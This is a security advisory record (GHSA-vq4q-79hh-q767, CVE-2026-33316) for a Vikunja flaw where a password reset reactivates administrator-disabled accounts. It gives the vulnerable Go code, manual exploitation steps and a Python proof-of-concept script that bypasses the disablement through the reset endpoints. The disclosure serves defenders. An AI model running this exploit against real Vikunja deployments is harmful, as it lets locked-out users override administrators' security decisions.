{"schema_version":"1.7.5","id":"GHSA-vq4q-79hh-q767","published":"2026-03-20T17:25:47Z","modified":"2026-03-25T21:05:53.330611Z","aliases":["CVE-2026-33316","GO-2026-4798"],"summary":"Vikunja’s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement ","details":"### Summary\n\nA flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement.\n\n#### Vulnerable Code Snippet\n\nIn `pkg/user/user_password_reset.go`, beginning at line 66:\n\n```go\n\t// Hash the password\n\tuser.Password, err = HashPassword(reset.NewPassword)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = removeTokens(s, user, TokenPasswordReset)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tuser.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active\n\t_, err = s.\n\t\tCols(\"password\", \"status\").\n\t\tWhere(\"id = ?\", user.ID).\n\t\tUpdate(user)\n\tif err != nil {\n\t\treturn\n\t}\n```\n\nThe code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an \"Email Confirmation Required\" state into an \"Active\" state. It completely ignores whether the user was placed in the `StatusDisabled` state by an administrator.\nAdditionally, in the token request function (`RequestUserPasswordResetTokenByEmail`), the system fetches the user via `GetUserWithEmail()` which does **not** filter out disabled users, allowing them to legally request the token in the first place.\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a standard user account in Vikunja.\n2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (`status = 2`).\n3. Attempt to log in as the disabled user to verify access is blocked (receives `HTTP 412: This account is disabled`).\n4. Without authenticating, send a `POST` request to `/api/v1/user/password/token` with the disabled user's email address.\n5. Retrieve the password reset token from the incoming email.\n6. Send a `POST` request to `/api/v1/user/password/reset` with the token and a new password.\n7. Log in using the new password. Observe that the login succeeds (`HTTP 200`) and the account has been maliciously reactivated.\n\n#### Automation PoC\n\n```python\nimport requests\nimport psycopg2\nimport time\nimport secrets\n\nAPI_URL = \"http://localhost:3456/api/v1\"\n\ndef main():\n    username = f\"testuser_{secrets.token_hex(4)}\"\n    email = f\"{username}@example.com\"\n    password = \"SuperSecretPassword123!\"\n    \n    print(\"[1] Registering user...\")\n    requests.post(f\"{API_URL}/register\", json={\"username\": username, \"email\": email, \"password\": password})\n    \n    print(\"[2] Admin disables account (Status = 2)...\")\n    conn = psycopg2.connect(host=\"localhost\", database=\"vikunja\", user=\"vikunja\", password=\"vikunja_password\")\n    cursor = conn.cursor()\n    cursor.execute(\"UPDATE users SET status = 2 WHERE username = %s;\", (username,))\n    conn.commit()\n    \n    print(\"[3] Verifying login is blocked...\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": password})\n    print(f\"Login response: {res.status_code} (Should be 412)\")\n    \n    print(\"[4] Attacker requests password reset...\")\n    requests.post(f\"{API_URL}/user/password/token\", json={\"email\": email})\n    \n    print(\"[5] Attacker grabs token from email/DB...\")\n    cursor.execute(\"SELECT id FROM users WHERE username = %s;\", (username,))\n    user_id = cursor.fetchone()[0]\n    cursor.execute(\"SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;\", (user_id,))\n    token = cursor.fetchone()[0]\n    \n    print(\"[6] Attacker submits reset, triggering bug...\")\n    new_password = \"HackedPassword123!\"\n    requests.post(f\"{API_URL}/user/password/reset\", json={\"token\": token, \"new_password\": new_password})\n    \n    print(\"[7] Attacker logs in successfully!\")\n    res = requests.post(f\"{API_URL}/login\", json={\"username\": username, \"password\": new_password})\n    print(f\"Final Login response: {res.status_code} (Should be 200)\")\n\n    cursor.execute(\"SELECT status FROM users WHERE username = %s;\", (username,))\n    print(f\"Final DB Status: {cursor.fetchone()[0]} (0 = Active)\")\n    conn.close()\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\n* **Authentication & Authorization Bypass:** An attacker can unilaterally reverse an administrative security decision.\n* **Integrity & Confidentiality Impact:**  The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.","affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"2.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vq4q-79hh-q767/GHSA-vq4q-79hh-q767.json"}}],"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33316"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/commit/049f4a6be46f9460bd516f489ef9f569574bc70d"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/commit/d8570c603da1f26635ce6048d6af85ede827abfb"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"},{"type":"WEB","url":"https://vikunja.io/changelog/vikunja-v2.2.0-was-released"}],"database_specific":{"cwe_ids":["CWE-284","CWE-862","CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-03-20T17:25:47Z","nvd_published_at":"2026-03-24T15:16:35Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]}